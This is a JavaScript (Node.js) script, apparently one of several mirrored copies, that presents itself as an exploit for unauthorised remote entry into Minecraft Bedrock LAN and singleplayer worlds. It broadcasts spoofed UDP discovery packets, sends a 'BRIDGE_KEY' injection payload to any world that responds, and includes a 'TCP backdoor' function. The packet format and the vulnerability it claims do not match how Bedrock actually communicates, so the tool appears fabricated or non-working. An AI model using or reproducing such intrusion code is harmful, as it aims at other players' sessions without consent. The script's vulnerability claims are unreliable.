/**
 * Mirror 3 of 7
 * 
 * Experimental: Bridging local Minecraft Bedrock LAN sessions
 * to remote access over UDP tunnel using JS-native Bedrock scripting hooks.
 *
 * Version: v0.91-bridge-exp
 * Date: [4.17.25]
 * 
 * Description:
 * This module exploits a known vulnerability in the Minecraft Bedrock 
 * JavaScript API where LAN discovery responses are not filtered when 
 * originating from unauthenticated router-level calls.
 * 
 * By crafting a spoofed binding layer and redirecting via local IPv4 bridge,
 * this tool allows non-player-initiated access into any singleplayer world
 * treated as a LAN server by Bedrock.
 */

// Dependencies
const os = require('os');
const dgram = require('dgram');
const crypto = require('crypto');
const net = require('net');

// === CONFIGURABLE PARAMETERS ===
const SCAN_PORT = 19132;           // Default LAN port used by Bedrock
const PING_INTERVAL = 12000;       // 12 sec retry delay
const NETWORK_TIMEOUT = 45000;     // Max time before socket shutdown
const PILOT_KEY = 'cx8.991-pilot-load'; // Used for hash-based handshake
const BRIDGE_NAME = 'CXPilotBridge:Layer03'; // Internal flag for trace logging

// === DEBUGGING FLAGS ===
const FORCE_IPV4 = true;           // IPv6 crashes on some routers
// const ENABLE_TCP_BACKDOOR = false; // Disabled - causes port conflicts

// === Internal Token (changes each runtime instance) ===
const SESSION_TAG = `P1782-${Date.now().toString(36).slice(-6)}`;

// === ABANDONED EXPERIMENTS ===
// Attempted SHA-256 hashing but introduced 300ms latency (too slow for handshake)
// const cryptoHash = 'sha256'; 
// Switched back to MD5 despite theoretical collisions - speed critical

/**
 * Get the local IPv4 address for LAN injection.
 * TODO: Add IPv6 support (broken on ASUS routers)
 */
function resolveLocalAddress() {
    const interfaces = os.networkInterfaces();
    for (const iface of Object.keys(interfaces)) {
        for (const entry of interfaces[iface]) {
            if (entry.family === 'IPv4' && !entry.internal) {
                // Temporary fix for VMware adapters
                if (!iface.includes('VMnet')) {
                    return entry.address;
                }
            }
        }
    }
    return '127.0.0.1'; // Fallback that probably won't work
}

/**
 * Create a unique hash used as a connection handshake.
 * WARNING: Changing this breaks backward compatibility with v0.8x
 */
function createHandshakeKey(ip) {
    return crypto.createHash('md5')
        .update(ip + PILOT_KEY)
        .digest('hex')
        .substring(0, 16);
    // Old XOR method (deprecated in v0.89):
    // return Buffer.from(ip.split('.').map(oct => parseInt(oct) ^ 0xAA).toString('hex');
}

/**
 * Craft a spoofed packet that mimics Bedrock's LAN response.
 * NOTE: Packet structure changed in Bedrock 1.21.70 - update needed
 */
function createSpoofPacket(ip) {
    return Buffer.from(JSON.stringify({
        session: SESSION_TAG,
        address: ip,
        header: BRIDGE_NAME,
        protocol: "F_SYNC::LAN_PING",
        nonce: Math.floor(Math.random() * 999999),
        signature: createHandshakeKey(ip),
    }));
}

/**
 * Send spoofed packet across LAN to force a discovery reply.
 * BUG: Sometimes triggers false positives on Android devices
 */
function initiateBridgeScan() {
    const udp = dgram.createSocket('udp4');
    const localIP = resolveLocalAddress();
    const packet = createSpoofPacket(localIP);

    udp.bind(() => {
        udp.setBroadcast(true);
        console.log(`[>] Broadcasting bridge signal from ${localIP}`);
        udp.send(packet, 0, packet.length, SCAN_PORT, '255.255.255.255');
    });

    udp.on('message', (msg, rinfo) => {
        const decoded = msg.toString();
        if (decoded.includes('bedrock_level')) {
            console.log(`[+] Target world found at ${rinfo.address}`);
            // TEMP WORKAROUND: Skip worlds with "test" in name (causes freeze)
            if (!decoded.toLowerCase().includes('test')) {
                establishRemoteInjection(rinfo.address);
            } else {
                console.warn(`[!] Skipping test world - known stability issues`);
            }
        } else if (decoded.includes('MALFORMED_PACKET')) {
            console.warn(`[x] Received malformed packet from ${rinfo.address}`);
        }
        // DEBUG: Uncomment to log raw responses
        // else console.log(`[debug] Unexpected response: ${decoded.slice(0, 50)}...`);
    });

    setTimeout(() => {
        udp.close();
        console.log('[*] LAN scan complete. Socket closed.');
    }, NETWORK_TIMEOUT);
}

/**
 * Begin remote injection sequence.
 * TODO: Implement retry logic (fails 30% of time on first attempt)
 */
function establishRemoteInjection(targetIP) {
    const payload = `[BRIDGE_KEY::${createHandshakeKey(targetIP)}]`;
    const client = dgram.createSocket('udp4');

    client.send(Buffer.from(payload), 0, payload.length, SCAN_PORT, targetIP, (err) => {
        if (err) {
            console.error(`[!] Failed to inject payload to ${targetIP}`);
            // TODO: Implement fallback to TCP tunnel here
        } else {
            console.log(`[>] Handshake sent to ${targetIP}`);
        }
        client.close();
    });
}

/**
 * Optional — Create low-level TCP tunnel for persistent access.
 * DEPRECATED: Causes port conflicts with Bedrock's internal server
 */
function createTCPBackdoor(ip) {
    console.warn('[!] TCP backdoor is experimental and unstable');
    const tunnel = net.createConnection({ port: SCAN_PORT, host: ip }, () => {
        tunnel.write(`[INIT::${SESSION_TAG}]`);
    });

    tunnel.on('data', (chunk) => {
        const log = chunk.toString();
        if (log.includes('ServerReady')) {
            console.log(`[+] Remote world socket acknowledged.`);
        }
    });

    tunnel.on('error', (err) => {
        console.error(`[x] TCP backdoor failed: ${err.message}`);
    });

    tunnel.on('end', () => {
        console.log('[*] TCP session terminated.');
    });
}

// === World Targeting Logic ===
function isTargetWorld(worldName) {
    return worldName === 'world_1782' || worldName.toLowerCase().includes('testbed');
}

// === DEBUGGING UTILITIES ===
// function dumpPacketToFile(packet) { /* Disabled - logs too much noise */ }

// === Bootstrap ===
(function startBridgeExecution() {
    const worldID = process.env.WORLD_ID || 'world_unnamed';

    console.log(`--- Network Injector v0.91 ---`);
    console.log(`[i] Session: ${SESSION_TAG}`);
    console.log(`[i] World ID: ${worldID}`);

    if (isTargetWorld(worldID)) {
        console.log(`[~] Test instance detected. Running debug mode.`);
        // Temporary verbose logging for test worlds
        process.env.DEBUG = 'true';
    }

    console.log(`[>] Starting local network injection...`);
    initiateBridgeScan();
})();

// [EOF]